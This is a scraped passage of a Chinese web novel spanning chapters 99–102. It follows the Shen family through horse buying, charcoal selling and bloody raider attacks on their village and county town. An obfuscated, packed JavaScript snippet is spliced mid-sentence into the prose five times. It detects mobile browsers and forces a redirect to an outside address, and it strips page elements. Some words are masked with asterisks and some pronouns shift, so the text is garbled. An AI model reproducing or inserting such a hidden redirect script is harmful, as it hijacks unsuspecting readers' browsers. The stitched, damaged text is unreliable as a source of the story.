两兄弟吓得连忙闪到一边,肩上的树都差点掉了。 “这沈家的人简直都是疯子!”寿虎拍着胸口抱怨,脸上还带着惊魂未定的表情。 “大哥,咱们还要不要去求和?”寿虹小声问道,“这两天黄皮树总是被府衙说不合格,我怀疑是沈丰德在使绊子!” 寿虎黑着脸,“回去跟爹讨论一下。这事不能就这么算了。” 沈长菱带着两匹马回到家,沈明文激动得手舞足蹈,“这马也太漂亮了!”他围着金马转圈,爱不释手。 金马性情温顺,任由沈明文和沈长河抚摸。两个孩子脸上洋溢着纯真的笑容,连连称赞这马儿的神骏。 “我爹呢?”沈长菱环顾四周,院子里安静得出奇。 “小叔在山上。”沈明文的眼睛还黏在马身上,“他说要去找些好木料。” 沈长河兴冲冲地跑去喊人,一边跑一边大声喊着,“爹!爹!快回来看马!” 没多久,沈丰年的欢呼声就传遍了整个院子。他三步并作两步跑过来,眼睛直放光,“长菱!这马真的给我?” “嗯,以后就是你的了。”沈长菱看着父亲孩子般的表情,心里微微的。 “我就说我丫头最好了!”沈丰年兴奋地说,抚摸着金马的鬃**,“这马**色金灿灿的,就叫金瑞!” “那我这匹乌骓马就叫墨玉吧。”沈长菱也跟着起兴,轻轻拍了拍乌骓马的脖子。 沈丰年现在满心都是自己的新马,连连称赞,“好名字!不愧是我丫头!我这就去买马鞍!”说完就匆匆跑了出去。 日子一天天过去,王师傅带着儿子在沈家干了半月的活计。眼看着就快收尾了,一场大雪却不期而至。 “并非我不想留下,实在是得赶紧走啊!”王师傅领了工钱就要走,脸上带着歉意,“这雪一下起来就没完,运气不佳能有一人高!家里人都等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595968|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着呢!” 沈丰年只好送他们出门。看着纷纷扬扬的大雪,他眼中闪过一丝精光。这场雪来得正是时候,正好可以趁机完成一些计划已久的事情。 他穿上早已准备好的皮靴和狼皮外套,站在骡车旁,仔细清点着木炭的数量。寒风呼啸,雪花纷纷扬扬地落下,他不时搓着冻得通红的手,眼中却闪烁着期待的光芒。 “三千斤木炭,除去家里烧火和制作炭笔的,剩下这些总算能换些银钱了。”他一边清点一边低声自语,脸上浮现出一丝欣慰。 孟氏裹着厚实的棉袄,站在门边望着天空。越来越大的雪花让她眉头紧蹙,脸上写满担忧,“外头雪这么大,你走慢些,别赶得太急。” 说着,她快步回到屋内,从箱子里取出一件皮衣。这是她平日里精心保养的,虽然有些旧了,但依然结实保暖,“这给你大哥带去,他早上穿得单薄,这天气容易着凉。” 沈丰年伸手接过皮衣,刚要开口,一道欢快的身影已经蹦跳着来到他面前。沈长菱双手捧着一顶帽子,脸上洋溢着灿烂的笑容。 “爹,这是我和娘昨晚赶工做的,虽然样子不太好看,但保暖!”她献宝似的将帽子递到父亲面前,眼中满是期待。 沈丰年接过那顶歪歪扭扭的帽子,仔细打量着。帽子的针脚虽然不够整齐,但毛茸茸的兔毛衬里透着暖意。他本想吐槽两句帽子的样式,但看到女儿那双闪亮的眼睛,立刻换上一副慈父面孔。 “丫头的心意,爹怎么可能嫌弃?”他笑着将帽子戴在头上,还特意转了个圈,“怎么样?爹戴着好看吗?” 沈长菱眼睛弯成月牙,开心地拍着手,“知道就好!爹戴着可神气了!” 目送父亲赶着骡车渐渐远去,直到那道身影消失在飘雪中,沈长菱才依依不舍地回到正堂。屋内两个炭盆烧得正旺,暖意融融,将寒意阻隔在外。 她从怀中掏出几张画好的图纸,小心翼翼地展平,递给正在打磨木料的卫云昂,“长河的书架,我想做成这样。你看看,这样的设计如何?” 卫云昂放下手中的工具,接过图纸仔细端详。他的手指在纸面上轻轻划过,眉头微皱,“书桌得加宽些,不然写字不方便。这里的搁板也要调整,太窄了放不下书本。” 第九十九章 蛮子来了【二】 赵大娘和儿媳各自操起铲子、锅盖,随时准备支援。她们的脸上写满了惊恐,但没有人退缩。在这生死攸关的时刻,每个人都明白,退后就意味着死亡。 蛮子挥舞着大刀,招招狠辣。他身材魁梧,肌肉虬结,脸上带着狰狞的笑容。这笑容中充满了对生命的蔑视,仿佛在他眼中,眼前这些人不过是待宰的羔羊。 “当!”金属相击,火星四溅。沈玉山险险挡住一记劈砍,但整个人都踉跄着后退了两步。 “不能再这样下去了!”赵大娘突然开口,声音里带着决然,“咱们得去长菱家!玉松他们不在,丰年兄弟俩也没回来,虽然只有几个妇孺,但长菱和林氏一个顶仨!” “对,咱们得聚在一起!”儿媳紧接着说道,“人多好办事,就算帮不上忙,也能互相照应!” 沈玉山听罢,心中一动。就算他再迟钝,也知道沈长菱的本事。那丫头虽然年纪不大,但胆识过人,在村里也颇有威望。 “你们先走,我来挡住他!”沈玉山咬牙道。汗水顺着他的脸颊滑落,混合着血迹,在下巴处凝结成滴。 “不行!”沈小江泪如雨下,“我要和你在一起,你死我也不想活了!”少年的声音带着哭腔,却透着一股倔强。 “混账!”沈玉山怒吼,“你是要让我绝后吗?快走!” 蛮子发出一串刺耳的怪笑,仿佛在嘲笑他们的天真。他的眼中闪过一丝残忍的光芒,大刀在空中划出一道寒光。 下一刻,刀锋呼啸而至。沈玉山勉强招架,却见沈小江不顾一切地冲上前来。蛮子一脚踹出,正中少年胸口。 “砰!”沈小江如断线风筝般飞出,重重摔在地上,一时间竟爬不起来。 看到儿子被伤,沈玉山双目赤红,不管不顾地挥舞镰刀。他的动作变得凌乱,破绽百出。蛮子露出得意的笑容,刀锋直取他的咽喉。 “不要!”沈小江绝望大喊。 千钧一发之际,一把菜刀破空而来,正中蛮子后颈。寒光一闪,鲜血喷溅。 蛮子瞪大了眼睛,似乎难以置信。他摇晃了两下,轰然倒地,再也没有了声息。 所有人惊愕回头,只见松氏呆立当场,手还保持着投掷的姿势。显然连她自己都没想到这一击会如此精准。她的脸色苍白,嘴唇微微发抖。 “快走!去找长菱!”赵大娘一把拉住松氏的手。那粗糙温暖的触感让松氏恍惚,仿佛回到了小时候,母亲牵着她的场景。 尽管四周充斥着惨叫和厮杀,这一刻,她的内心却异常平静。仿佛有什么东西在她心中觉醒,让她不再是那个懦弱的女子。 与此同时,沈长菱已经带人清理了自家院落的威胁。她的动作干净利落,每一刀都直指要害。那些想要闯入院子的蛮子,无一例外都倒在了她的刀下。 院子里,林月和孟氏正在安抚受惊的妇孺。有的人在低声啜泣,有的人目光呆滞,显然还没有从惊恐中回过神来。 沈长菱没有停留,径直冲向隔壁,找到了孟西北。这个独来独往的男人正坐在院子里喝酒,仿佛外面的混乱与他无关。 “孟大叔,请你帮忙看顾我家!”沈长菱开门见山。 孟西北抬眼看她,神色淡漠,“为什么要帮你?” “我给钱!多少都行!”沈长菱急切道。 “钱么,够用就好。”孟西北晃了晃手中的酒壶,语气依旧平静。 沈长菱急中生智,“这样,以后你在我家吃饭!后半辈子的饭都给你搞定了!” 孟西北放下酒壶,目光在她脸上停留片刻。他似乎对这个提议颇感兴趣,沉默了一会儿才道,“行,我答应你。” 远处的战场上,慕容烈骑在高头大马上,目光阴冷地扫视着眼前的一切。他身着华贵的皮裘,腰间挂着镶嵌宝石的弯刀,每当看到手下砍下一颗人头,他的嘴角就会微微上扬,眼中闪过一抹残忍的快意。 “你们是部落里最牛的勇士!”他扬起马鞭,声音在寒风中回荡,“杀得越多,回去后赏赐越丰厚!金银珠宝,美**隶,应有尽有!” “艾哈!艾哈!”蛮子们兴奋地嚎叫着,眼中闪烁着嗜血的光芒。他们挥舞着染血的弯刀,如同一群饥饿的野兽般冲向手无寸铁的村民。 沈氏的人群开始向沈家方向移动,这个举动立刻引起了玄戎人的注意。有几个玄戎士兵已经策马向这边靠近,刀锋在阳光下泛着寒光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595970|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “快跑!”人群中爆发出惊恐的叫喊。 就在这时,一个青山村的村民跌跌撞撞地跑来,他的衣服上沾满了血迹,脸上写满了恐惧,“村长!不好了!村口都被堵**,想逃的人都被射**,山路根本无法通行!” “什么?!”村长脸色瞬间变得煞白,额头上渗出冷汗,“这是要把我们全部包围在这里?” “他们准备得真够充分。”有人低声说道,声音中带着绝望,“连弓箭手都带来了。我们现在就跟瓮中之鳖没什么两样。” 村长的手紧紧攥成拳头,指甲深深陷入掌心,“走,去沈家!都到这个地步了,只能联手想办法了。” 沈长菱站在屋顶上,握紧了手中的弯刀。寒风吹起她的发丝,她的目光死死盯着远处的战场。那里,沈氏族人的惨状让她胸口涌起一阵剧痛。那些曾经对她微笑的脸庞,那些给她递过食物的手,如今都倒在了血泊之中。 她的眼睛渐渐变得赤红,浑身散发着冰冷的杀意。手中的刀刃在阳光下闪烁着森然的光芒。 “放开族长!”沈氏的人群中传来愤怒的吼声。几个年轻人想要冲上前去,却被玄戎士兵用刀逼退。 抓住老族长的玄戎人露出狰狞的笑容,他粗糙的手掐着老族长的脖子,“想救他?那就把你们的女人交出来,自己乖乖把脖子伸过来。” 老族长的脸因缺氧而涨得通红,但他的眼神依然坚定。他悲凉一笑,朝着那人脸上啐了一口,“呸!未开化的野兽!” “噗嗤”一声,鲜血喷涌而出。老族长的头颅高高飞起,在空中划出一道血色的弧线。 “族长!” “爹!” 凄厉的哭喊声响彻天际。沈长菱浑身一震,加快脚步冲向战场。她刚才去取了林月的大锤,还没来得及杀完眼前的敌人,就听到了这撕心裂肺的喊声。 她的灵识延伸出去,正好看到老族长的头颅被割下的那一幕。那一刻,她感觉自己的心脏被人狠狠地撕裂。 “我要了结你们!我要把你们剁成肉酱!”老族长儿子沈志平疯狂地挣扎着,眼中布满血丝,几个族人死死地抱住他。他的嘴角溢出鲜血,却浑然不觉。 第一百章 蛮子来了【三】 沈长菱悄无声息地爬上房顶,从空间中取出**箭。寒风呼啸,吹得她的衣袍猎猎作响。她的目光锁定在慕容烈身上,手指扣在**上。时间仿佛在这一刻静止。 “嗖!” **箭破空而去,带着凌厉的杀意。却被一旁的铁木真及时发现,他眼疾手快,拉着慕容烈躲开了。 “有人偷袭!”慕容烈厉声喝道,声音中带着震怒。 沈长菱迅速换了位置,这次她一次性射出三支**箭。箭矢在空中划出三道寒光,直奔目标而去。铁木真挥刀劈落两支,但第三支直奔慕容烈而去。 “小可汗!”铁木真焦急地大喊,想要再次出手相救,却已来不及。 “噗嗤!”**箭精准地射入慕容烈的眼眶。他发出一声凄厉的惨叫,鲜血顺着脸颊流下。 “来人!”铁木真的怒吼声在空中回荡,声音中带着一丝不易察觉的慌乱。 几名属下迅速集结,铠甲碰撞声此起彼伏。 “撤退三里,全军集合!”铁木真咬牙切齿,眼中闪过一丝阴狠。 “遵命!”属下们齐声应和。 沈长菱一路**回营,刀光剑影中,远远便看见林月正在与敌人缠斗。她的心猛地揪紧-林月的胳膊上有两道深深的伤口,鲜血已将棉袄染红一片,触目惊心。 但林月仍在奋力挥舞着双锤,动作虽然不如往日灵活,却依旧凶猛。只见她一锤横扫,将一名玄戎士兵砸得倒飞出去,又是一锤直击,将另一名敌人的头盔砸得凹陷。 “娘!退到我身后!”沈长菱冲到林月身边,想要将她拉回。刀锋所向,三名玄戎士兵应声倒地。 “不行!”林月甩开她的手,眼中燃烧着怒火,脸上布满了汗水和血迹,“这群狗贼敢伤我,我要让他们长长记性!” “您受伤了需要包扎,难道想以后再也拿不起锤子吗?”沈长菱一边说着,一边挡下一记偷袭,反手一刀将敌人的手腕斩断。 这句话如同一盆冷水浇在林月头上,她的气势顿时萎靡了几分。握锤的手微微颤抖,眼中闪过一丝迷茫。 沈长菱趁机将林月护在身后,手中弯刀挥舞如电,寒光闪烁间,转眼间便结果了两名来犯之敌。鲜血在空中划出一道道弧线,染红了她的衣襟。 玄戎人的撤退号角在这时响起,悠长的号角声回荡在战场上。敌军开始且战且退,逐渐向后撤离。但他们的眼中并无惧色,反而带着一种诡异的笑意。 沈志平浑身浴血,死死盯着那个杀害族长的玄戎人,手中不知从哪缴获的弯刀正在颤抖。他的眼睛布满血丝,牙关紧咬得几乎要碎裂。 “别想逃!我要将你**万段!”他嘶吼着冲了上去,声音嘶哑得不成人声。 玄戎人轻松挡下他的攻击,嘴角露出不屑的冷笑,“废物。”刀光一闪,沈志平的肩膀上多了一道深可见骨的伤口。 话音未落,一支箭矢已经穿透了他的咽喉。箭羽微颤,鲜血喷涌而出。 “**...**...”他瞪大眼睛看向沈长菱,却再也说不出完整的话。身体摇晃几下,重重栽倒在地。 沈志平疯了般挥刀砍向尸体,鲜血四溅,直到将对方砍成肉泥也不肯停手。他的动作越来越快,越来越狠,仿佛要将所有的仇恨都发泄在这具尸体上。 “够了!”沈虹一把拉住他。鲜血正从沈虹断臂的伤口汩汩流出,染红了半边身子。 “不够!永远都不够!”沈志平嘶吼着,泪水与血水混在一起,“我要喝他们的血!吃他们的肉!”他的声音中充满了绝望和疯狂。 沈长菱快步上前,取出药粉撒在沈虹的伤口上。“报仇不在朝夕,当务之急是保全性命。”她的声音很轻,却带着不容置疑的力量。 村长瘫坐在地上,脸色苍白,“娘的,这群狗贼怎么突然就撤了?”他的目光扫过满地的尸体,心中升起一股不祥的预感。 赵大娘等妇人们已经开始为伤员包扎。有人在低声啜泣,有人在默默擦拭伤口,还有人在清点死者的遗物。 沈长菱仔细查看林月的伤势,血已经浸透了临时包扎的布条。她沉默着取出玉龙散,小心翼翼地撒在伤口上。每一个动作都极尽轻柔,生怕加重母亲的痛苦。 “别浪费,”林月想要缩回手臂,眼中满是心疼,“你身上也有伤痕。” “我这些都是皮外伤,”沈长菱坚持给她包扎,手上的动作一刻不停,“您先回家照看其他人。” “那怎么行?你不是说还想去找你爹吗?”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595971|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月的声音有些颤抖,眼中闪过一丝担忧。 “您放心,我一定会把爹和大伯找回来。”沈长菱的声音很轻,却带着坚定。 沈长菱将剩余的药粉分给重伤员。此时的战场上,活人在清点死者,试图将支离破碎的尸体拼凑完整。空气中弥漫着血腥味和死亡的气息,连风都变得凝重起来。 “现在清点人数!检查各家损失情况!”村长高声喊道,声音中带着一丝疲惫,“这些蛮子的尸体也要处理,明早好去府衙领赏钱!” “他们没走。”沈长菱突然开口,声音冷静得有些可怕。 “什么?”众人齐声问道,空气仿佛在这一刻凝固。 “所有出村的路都被封锁了,他们就在三里外驻扎。”沈长菱的目光扫过四周,每个人的脸上都写满了恐惧。 这句话如同一块巨石,重重砸在所有人心上。死一般的寂静笼罩着整个战场。 “难道...他们要屠村?”有人颤声问道,声音中带着绝望。 沈长菱环视四周,目光在每个人脸上停留,“现在说这些为时过早。但我必须进城一趟。”她的声音很轻,却让所有人都听得清清楚楚。 她站起身,目光坚定,“在这危难时刻,我们都是大启的子民,都是青山村的一份子。愿意随我同去的,请即刻启程。” 沈氏族人二话不说,纷纷起身跟上。他们的眼中虽有恐惧,却更多的是决心。 村长带着其他人也紧随其后,“咱们可不能认输!”他的声音虽然嘶哑,却充满了力量。 孟氏在沈家院中来回踱步,就连一向沉稳的沈明昊也坐立不安。院子里弥漫着一股压抑的气氛,连呼吸都变得小心翼翼。 “我饿了。”孟西北摸着肚子说,声音很小,却在这寂静的院子里格外清晰。 孟氏心烦意乱,“就知道吃...”孟氏的话在看到孟西北的那一刻戛然而止,脸上的表情有些尴尬。她下意识地搓了搓手,目光闪烁不定。 “我这人就是管不住这张嘴,您别介意。”她赶忙转移话题,声音里带着几分讨好,“我去做饭。”说着,她的身子已经往灶房的方向挪动。 “我来生火。”卫云昂也站了起来,木椅在地上发出轻微的摩擦声。 第一百零一章 蛮子来了【四】 孟氏心不在焉地应了一声,转身去了灶房。她的脚步声渐行渐远,留下一室沉默。 屋外的寒风呼啸,不时有雪花拍打在窗棂上。孟西北坐在那里,神情平静得近乎冷漠,仿佛方才的一切都与他无关。但细心的人能察觉到,他的手指正无意识地在桌面上轻轻敲击,透露出内心并不如表面这般平静。 沈家的大门已经被蛮子撞得七零八落,院子里一片狼藉。木材和工具东倒西歪地散落一地,还有些萝卜白菜零零散散地躺在地上。积雪覆盖着这片混乱,将一切染成惨白的颜色。空气中弥漫着一股刺鼻的血腥味,混合着寒冷的气息,令人不寒而栗。 沈长菱先回家一趟。 “长菱!”沈明昊看到她推门进来,眼睛一亮,但很快又暗淡下来,眉头紧锁,“情况怎么样?”他的声音里带着掩饰不住的担忧。 “不太乐观。”沈长菱摇了摇头,目光扫过屋内的每一个人,“我准备去县城看看情况,顺便报官。”她看向孟西北,语气中带着几分恳切,“大叔,我家还有不少肉和粮食,您和大家一起来我家吧?” 孟西北摸了摸咕咕叫的肚子,沉默片刻后点头同意了。他站起身,动作利落得不像一个瞎子。 一行人回到沈家时,院子里已经挤满了人。有的在低声啜泣,有的在焦急地踱步,还有的抱着孩子蜷缩在角落。空气中弥漫着恐惧和绝望的气息。 村长看到孟西北的眼神颇为复杂,嘴角抽动了几下,“真是稀奇了,每次都能活下来...”他的话里带着几分感慨,又似乎暗含着什么。 沈长菱环视众人,声音沉稳有力,“那些蛮子的头目受了重伤,暂时顾不上我们,这给了我们两个时辰的喘息时间。”她顿了顿,目光坚定,“我要去县城搬救兵,一定会尽快回来。” 雪花纷纷扬扬地落下,院子里一片寂静。所有人都被这个消息震住了,空气仿佛凝固了一般。 “胡闹!”一个壮汉突然站了出来,他的脸因为激动而涨得通红,“你一个小姑娘去什么去?借我你家的马,我去!” “就你那骑术?还不如让我去!”另一个村民也站了出来,声音里带着几分不屑。 “都别争了,我年纪大,见过世面,去府衙说话也利索,我去最合适!”一个上了年纪的老者插话道。 青山村的汉子们你一言我一语地争着要去,谁也不愿让一个小姑娘冒这个险。争吵声此起彼伏,回荡在院子里。 村长拍掉头上的雪花,长叹一口气,“争有什么用?外面全是弓箭手,连村子都出不去,去了就是送死!”他的话像一盆冷水,浇灭了众人的热情。 众人顿时泄了气,院子里再次陷入沉默。只有风声呜咽,和零星的啜泣声。 沈长菱已经换好了衣服,之前那身被划破的实在不适合赶路。她站在那里,身姿挺拔如松,目光坚定如炬。 “我走了,你们趁现在抓紧时间,要么找地方躲起来,要么...料理一下亲人。”她说完就往外走,步伐坚定而从容。 “站住!”村民们急得直跺脚,有人想去拦她,却又不敢轻举妄动。 沈长菱脚下生风,几个起落就消失在了夜色中。她的身影很快就被纷飞的雪花吞没,仿佛从未出现过一般。 村民们追出去看时,哪还有人影?院子里只剩下一片茫然和无助。 “你们沈家的人就这么看着一个小姑娘去送死?”有人忍不住讽刺道,声音里带着几分愤怒和不解。 沈氏众人沉默不语。他们比谁都清楚,沈长菱的武功有多高,更知道拦不住她的决心。每个人的脸上都写满了复杂的情绪。 孟西北突然站了起来,动作干脆利落,“我去看看。”他的声音平静,却带着不容置疑的坚定。 “你?”有人嗤笑,语气中满是轻蔑,“你一个瞎子能看什么?” 话音未落,一把飞刀已经钉在了说话人的发髻上。寒光一闪,快得让人难以捕捉。那人吓得脸色发白,双腿发软。 全场鸦雀无声。所有人都被这一手震慑住了,看向孟西北的眼神充满了敬畏。 孟西北满意地点点头,“这样可以了吧?”他的语气依旧平静,仿佛方才只是做了一件微不足道的小事。 村长连连点头,额头上渗出细密的汗珠,“行行行!您请便!” 孟氏眼前一亮,脸上露出欣喜的神色,“我这就去给您炖肉!”她的声音里带着掩饰不住的兴奋。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595972|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟西北身形一闪,他的动作快得让人难以捕捉。 沈长菱骑在墨玉背上,一路疾驰。积雪在马蹄下发出咯吱咯吱的声响,寒风呼啸着从耳边掠过。她把灵识控制在方圆三里,一路上看到的村庄景象让她心越来越沉。 到处都是断壁残垣,焦黑的房梁,倒塌的围墙。有的村庄还在燃烧,浓烟在风中飘散。空气中弥漫着血腥味和焦糊味,令人作呕。偶尔能看到一些尸体,横七竖八地躺在雪地里,已经被积雪覆盖了大半。 这些景象让沈长菱的心情越发沉重。她知道,如果不尽快找到援助,青山村的结局可能也会是这样。想到这里,她不由得加快了速度。 而此时的府衙,沈丰年正在和衙役们谈生意。他脸上带着谄媚的笑容,手里拿着几支炭笔,“各位都是自己人,我这炭笔价钱公道,木炭更是便宜,三斤才十文钱!” 沈丰年一边说着,一边将两斤炭倒进炭盆,动作利落地点燃。炭盆里的火苗跳动,映照在他略显紧张的脸上。 屋里挤满了人,空气中弥漫着一股期待与怀疑交织的气息。众人目光紧盯着那个不起眼的炭盆,眼神里带着几分狐疑。这么便宜的炭,真能烧得好吗? 沈丰年的手指微微颤抖,他知道这一刻对自己至关重要。随着炭火渐渐燃起,淡淡的青烟袅袅升腾,火光明亮而稳定。屋里的人眼睛都亮了,交头接耳的议论声此起彼伏。 “这炭火可真旺啊!” “瞧这火势,比那些贵价炭还要好。” “烟还这么小,确实是难得的好炭。” 一个身着青布长衫的中年人挤上前来,从腰间摸出一串铜钱,“给我来二十斤。” 这话仿佛打开了闸门,其他人也纷纷掏钱下单。沈丰年忙得连汗都来不及擦,一边收钱一边在本子上记着地址,嘴角的笑意怎么也藏不住。 站在一旁的沈丰德看着自家弟弟忙碌的身影,眼中闪过一丝欣慰。记忆中那个整日游手好闲的弟弟,如今也能独当一面了。 “玉松,你送东街的几家;玉岭负责西街;玉田,南街的单子你来跑。”沈丰年将订单分给三兄弟,声音里带着几分得意,“记住,一定要按时送到。” 第一百零二章 这是命令 三人应声而去,沈丰年揣着剩下的订单,准备自己送北街的货。 然而这平静很快就被打破了。 一声凄厉的惨叫划破天际,街上的人群瞬间骚动起来。沈丰年循声望去,只见府衙门口躺着一个浑身是血的人,守门的衙役手足无措地围在旁边。 “快来人啊!”衙役们慌乱地去扶那人,鲜血很快染红了他们的衣袖。 那人已经奄奄一息,颤抖的手紧紧抓着最近的衙役,嘴唇发白,声音虚弱得几乎听不见,“玄...玄戎...来了...” 话音未落,他的手便无力地垂下,眼中的光芒渐渐暗淡。 消息如同一阵狂风,瞬间席卷整个县城。衙门内外乱作一团,百姓们惊慌失措,有的抱着细软往城外跑,有的赶紧关门闭户。 李德含强撑着镇定,但眼角的抽搐暴露了他内心的不安。他快步走到大堂中央,声音略显嘶哑,“县尉立刻带人支援城门,县丞务必守住粮仓。其他人分头去查看情况,一刻也不能耽搁!” 转身叫来贴身长随秦泰,李德含压低声音,“去后院,让夫人即刻从城西出城,直奔寒陵。” “老爷!”秦泰急得直跺脚,眼中含泪,“您让我如何放心离开?” “这是命令!”李德含厉声喝道,眼中闪过一丝痛楚,“若是连你也不听话,我如何安心?” 秦泰跪地重重地磕了个头,转身往后院跑去,背影显得那样萧索。 沈丰德听到消息的第一反应就是找弟弟。他冲出府衙,心跳如擂鼓,额头上的冷汗不停地往下淌。街上到处都是慌乱奔逃的人群,他拼命地在人群中寻找着弟弟的身影。 此时的沈丰年还在街上送货,看着周围人群惊慌失措的样子,他拦住一个跑过的老者,“这是怎么了?” “玄戎人打来了!快跑吧!”老者甩开他的手,踉踉跄跄地跑开了。 沈丰年只觉得浑身的血液都凝固了。远处传来阵阵号角声,夹杂着马蹄声和喊杀声,声声入耳,令人心惊。 “玉松!玉岭!玉田!”他扯着嗓子喊,声音都有些嘶哑了。 三兄弟听到喊声,丢下手中的活计就往这边跑。沈玉松跑得最快,脸上满是惊慌,“丰年,玄戎人真的来了?” “别问了,快上车!”沈丰年招呼道,声音里带着几分颤抖。 沈玉岭和沈玉田二话不说就跳上了车,但沈玉松却站在原地,急得直跺脚,“丰年,我娘还在家呢!” “先找我哥去!”沈丰年一鞭子抽在骡子身上,车轮碾过石板路,发出咯吱咯吱的响声。 玄戎人来得又快又狠,像是一群饿狼扑向羊群。城门外的五千守备军在他们面前不堪一击,没多久就被冲散了。城门很快就被攻破,玄戎骑兵如潮水般涌入城中。 沈丰年赶着骡车在街上东躲西藏,心里一个劲地祈祷不要遇到玄戎兵。可天不遂人愿,在一个转角处,他迎面撞上一队玄戎骑兵。 那些玄戎兵个个凶神恶煞,身上的铠甲上还沾着血迹,马上的弯刀在阳光下闪着寒光。他们的眼神如同野兽一般凶狠,让人不寒而栗。 沈丰年心里一沉,完了!没有媳妇和丫头在身边,他连一半的本事都使不出来。 他赶紧调转车头就跑,身后传来玄戎人的吼声,“追!”马蹄声越来越近,沈丰年的后背已经被冷汗浸透。 在慌乱中,他一头钻进了一条死胡同。望着眼前的围墙,沈丰年只觉得天都要塌了。身后的马蹄声越来越近,他转身看着胡同口,绝望地闭上了眼睛。 沈玉松带着两个弟弟从马车上跳下。他们的脸上都带着视死如归的神色,衣衫凌乱,身上还带着之前战斗留下的伤痕。 “丰年,你先走。”沈玉松把沈丰年护在身后,声音沙哑而坚定,“我们三个拦住他们,你骑骡子去找救兵。” “不行!”沈丰年猛地转身,死死抓住沈玉松的衣袖,“我不能丢下你们!” 沈玉岭上前一步,轻轻拍了拍她的肩膀,“现在不是任性的时候。” 沈玉田也凑过来,挤出一个勉强的笑容,“就是,你要是不走,我们岂不是白挨打了?” 沈丰年心头一颤,泪水在眼眶中打转。 追兵已至,三十余名玄戎骑兵堵在胡同口,刀光闪烁,杀气腾腾。他们的战马喷着粗气,铁蹄刨着地面,发出令人心悸的声响。 沈玉岭和沈玉田握紧拳头,目光凶狠地盯着敌人。玄戎人却连正眼都不瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595973|171929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一下,只是用蛮语交谈着,眼中闪烁着猎物即将到手的兴奋。 一个玄戎将领策马上前,用生硬的汉语喊道,“投降吧!反抗只会让你们死得更惨!” “做梦!”沈玉松啐了一口。 “那就成全你们!”玄戎将领举起弯刀,“杀!” 一声令下,玄戎骑兵蜂拥而上。马蹄声如雷,刀光剑影中充满了死亡的气息。 沈玉松三兄弟不退反进,挥拳直取马首。他们虽然没有兵器,但身手矫健,拳脚凌厉。马儿吃痛嘶鸣,前蹄高扬,将骑手掀翻在地。混乱中撞倒了好几匹战马。 “丰年,快走!”沈玉松一边格挡敌人的攻击,一边大喊。 沈丰年咬紧牙关,泪水模糊了视线。他狠抽骡子一鞭,骡车冲向敌阵。玄戎人挥刀劈来,鲜血飞溅。他感觉脸上一热,不知是泪水还是血。 三兄弟拼死护送,总算为沈丰年杀出一条血路。看着他冲出重围,三人露出欣慰的笑容,随即又投入了更加激烈的战斗中。 沈丰年的心在滴血。她不能眼睁睁看着三位兄弟送死。骡车在街上疾驰,火光照亮了他苍白的脸。 “一定要有办法...一定要有办法...”他喃喃自语,目光在四周疯狂搜索着。 突然,一辆夜香车映入眼帘。沈丰年猛地勒住缰绳,她眼中闪过一丝狠色,嘴角勾起一抹决绝的笑。 “就是这个!”他跳下骡车,快速检查着夜香车的情况。 他迅速蒙住骡子眼睛,以免它受惊。然后点燃车帘,不一会儿,整个车厢浓烟滚滚。她又拖来夜香车,架着骡车杀了回去。 远远望去,战斗还在继续。沈玉松三人已经遍体鳞伤,但依然在顽强抵抗。玄戎人的包围圈越来越小,眼看就要结束战斗。 